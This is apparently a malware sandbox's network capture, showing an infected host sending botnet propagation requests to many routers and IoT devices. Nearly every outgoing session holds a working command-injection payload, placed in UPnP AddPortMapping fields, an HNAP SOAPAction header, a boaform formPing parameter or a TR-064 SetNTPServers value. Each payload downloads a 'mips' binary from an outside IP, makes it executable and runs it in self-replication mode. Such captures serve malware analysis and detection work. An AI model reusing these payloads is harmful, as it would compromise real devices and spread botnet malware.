Apr 15, 2024 08:53:09.782170057 CEST	928	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:10.053250074 CEST	1288	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 49 6e 54 31 41 53 45 67 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBACInT1ASEg

Session ID	Source IP	Source Port	Destination IP	Destination Port
719	192.168.2.13	38956	34.49.191.3	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:09.946988106 CEST	785	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
720	192.168.2.13	58058	138.137.77.164	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:10.058834076 CEST	918	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:10.331811905 CEST	1288	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 49 6e 54 31 41 53 45 67 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBACInT1ASEg

Session ID	Source IP	Source Port	Destination IP	Destination Port
721	192.168.2.13	55678	181.48.130.134	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:10.131247997 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:53:11.524424076 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
722	192.168.2.13	33238	74.134.70.250	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:10.368122101 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
723	192.168.2.13	37804	181.41.86.210	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:10.417507887 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
724	192.168.2.13	55082	121.183.250.44	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:10.438014984 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
725	192.168.2.13	40902	119.213.83.228	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:10.439677000 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
726	192.168.2.13	57810	220.120.65.215	7547

Timestamp	Bytes transferred	Direction	Data
